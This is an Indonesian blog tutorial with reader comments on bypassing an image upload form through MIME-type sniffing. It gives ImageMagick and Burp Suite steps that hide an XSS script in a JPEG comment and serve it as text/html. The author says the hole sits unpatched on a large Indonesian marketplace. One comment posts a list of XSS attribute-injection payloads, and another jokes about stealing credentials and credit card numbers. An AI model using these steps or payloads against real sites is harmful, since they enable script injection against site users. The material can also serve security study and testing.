MIME Type Sniffing pada Form Upload Gambar. Oke kali ini saya akan membahas mengenai cara mengeksploitasi form upload pada sebuah web sehingga memunculkan XSS. Kita bisa memodifikasi request saat melakukan upload (mirip seperti tamper data), hanya saja nantinya yang kita modifikasi adalah mime type nya.
Saya menemukan bug ini pada salahsatu marketplace besar di Indonesia. Namun ketika saya laporkan bugnya, ternyata duplicate. Tapi kampangnya, meski duplicate bug nya masih saya tidak dipatch, padahal kalau dihitung hitung sudah sekitar dua bulan yang lalu saya lapor. Berarti (jika memang bug tersebut duplicate), pihak security marketplace lebih dari dua bulan sudah mengetahui bug tersebut terhitung dari pelapor pertama.
Oke karena mungkin pihak marketplace tersebut tidak menganggap ini sebagai bug, saya sharing saja disini bagaimana PoC nya.
Pertama, kita butuh tool ImageMagick. Ini untuk menyisipkan payload XSS kita kedalam gambar. Intinya, payload disini tidak bisa langsung disisipkan kedalam gambar dengan cara kita membuka file gambar dengan teks editor, menambahkan script XSS di paling bawah, kemudian menyimpan gambarnya kembali. File gambar tersebut akan terdeteksi sebagai file corrupt saat diupload.
Oke balik lagi ke topik, pertama, kita harus menyediakan gambar “murni” yang akan kita sisipi payload. Murni disini dalam artian gambar tersebut masih bersih tanpa ada inject payload didalamnya.
Sebagai contoh, kita gunakan gambar dedek sejuta umat berikut:
Oh iya pastikan kalian sudah menginstall imagemagick. Di Debian dan Ubuntu serta turunannya, gunakan perintah
sudo apt-get update && sudo apt-get install imagemagick
Untuk menginstall imagemagick.
Selanjutnya kita sisipkan payload kita kedalam gambar dalam bentuk comment.
wget https://exploit.linuxsec.org/wp-content/uploads/2019/06/sagiri.jpg
convert sagiri.jpg -set comment '<script>alert(document.domain);</script>' izumi.jpg
mv izumi.jpg izumi.jpg.html
Selanjutnya kita upload file izumi.jpg.html tersebut lewat form upload.
Sebelumnya, kita siapkan juga Burp Suite atau apapun itu yang bisa digunakan untuk memodifikasi request. Namun disini saya menggunakan Burp. Kita ubah ekstensi gambar dari html ke jpg. Namun biarkan content-type tetap text/html.
Ubah ekstensi file nya
Jika memang web nya vuln, maka gambar akan sukses terupload. Dan jika diakses, script XSS akan muncul.
Saat dicek content type nya pun html
Oke mungkin itu saja writeup kali ini, semoga bermanfaat.
Muhammad Tegar says
Mas saya sudah ikutin tutor ini dan saya upload divps pribadi saya tp kenapa tetap terbaca image/jpeg ya dari responennya?
tst says
alert(1);
javascript:alert(1);
test says
`”autofocus onfocus=”alert(1)`
`”autofocus onfocus=alert(1)//`
`”onbeforescriptexecute=alert(1)//`
`”onmouseover=”alert(1)//` (Interaction)
`”autofocus onblur=”alert(1)` (Interaction)
`’autofocus onfocus=’alert(1)`
`’autofocus onfocus=alert(1)//`
`’onbeforescriptexecute=alert(1)//`
`’onmouseover=’alert(1)//` (Interaction)
`’autofocus onblur=’alert(1)` (Interaction)
`aaaa autofocus onfocus=alert(1)//`
`aaaa onbeforescriptexecute=alert(1)//`
`aaaa onmouseover=alert(1)//`
xjxk says
test
testi says
yest
Pria Idaman says
menurut saya sih exploit tanpa upload shell ora uwu min ,,, rugi pentester-nya lagian kepuasan apa coba yang di dapat ya toh index gak ditebas – user / pass gak di dapat – CC juga gak di dapat halah mnding jaga warnet
Cewe idaman says
Apaansi bego
XXC says
IDIOT
Danur says
ada notif
library “libwebpmux.so” not found
itu kenapa bang?
Pentester says
gw pake method ini dapet $200 dari zoho
thanks min